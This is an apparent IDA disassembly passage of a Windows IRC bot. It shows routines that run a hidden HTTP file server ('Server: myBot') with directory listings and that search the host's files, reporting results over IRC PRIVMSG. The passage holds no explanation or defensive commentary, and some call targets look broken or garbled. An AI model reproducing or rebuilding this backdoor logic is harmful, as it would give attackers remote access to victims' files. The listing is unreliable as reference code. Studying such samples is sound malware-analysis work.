[ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9BC cmp eax, 0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8C0 test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA68 cmp eax, 0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BF70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB9EC test eax, eax jg short loc_40FCF8 push esi call dword_4CBA6C xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BF70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B9C0 add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+var_18F0] push eax call sub_41B9C0 cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDC0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41CAD4 push eax lea eax, [ebp+var_23C] push eax call sub_41C890 add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+var_18F0] push offset asc_4349EC ; "\r\n" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA70 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA6C loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB968 push eax lea eax, [ebp+var_8F0] push offset unk_4349C4 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+var_8F0] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_254] call sub_40B6D6 pop ecx push ebx call near ptr 26F0000h nop pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax call sub_41C266 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2760000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2750000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1654] push eax loc_41004C: ; DATA XREF: ___:004385A8o ; ___:004385BCo push [ebp+var_44C] call dword_4CBA24 cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA6C push [ebp+var_B4] call sub_40B6D6 pop ecx push edi call near ptr 26F0000h nop pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BF70 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_3 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+var_10C] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+var_10C] push eax call sub_41B9C0 cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+var_10C], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+var_210], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B9C0 cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429AC8 push eax call sub_41C266 lea eax, [ebp+var_314] push offset asc_42A080 ; "\n" push eax call sub_41CAD4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2690DA0h push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+var_314] push offset asc_434C78 ; "*" push eax call sub_41C8A0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41C266 lea eax, [ebp+var_210] push eax call sub_410AAE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C266 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA6C jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 27207BBh mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C266 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2760C61h push esi mov [ebp+var_330], eax nop call near ptr 2670000h loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434C44 push eax call sub_41C266 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E914[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi call near ptr 2690000h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 nop call near ptr 2680EBDh jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA6C nop call near ptr 26908B8h push eax lea eax, [ebp+var_8C4] push offset unk_434C0C push eax call sub_41C266 lea eax, [ebp+var_8C4] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BF70 mov edi, [ebp+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41CAD4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C360 add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4104AF call sub_41B9C0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi call sub_41B9C0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_C], ebx jz short loc_410564 push [ebp+arg_C] call sub_41B9C0 cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+arg_C] call sub_41B9C0 sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BFD0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 2790000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2780000h test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2770622h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2770000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C266 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+arg_C], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+arg_C], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429AC8 push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h nop call near ptr 2680EBDh loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2780000h test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+arg_0] nop call near ptr 25E0000h cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C266 add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+arg_C], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C266 pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C266 add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 27207BBh nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx nop call near ptr 2760C61h cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BF70 add esp, 0Ch cmp edi, 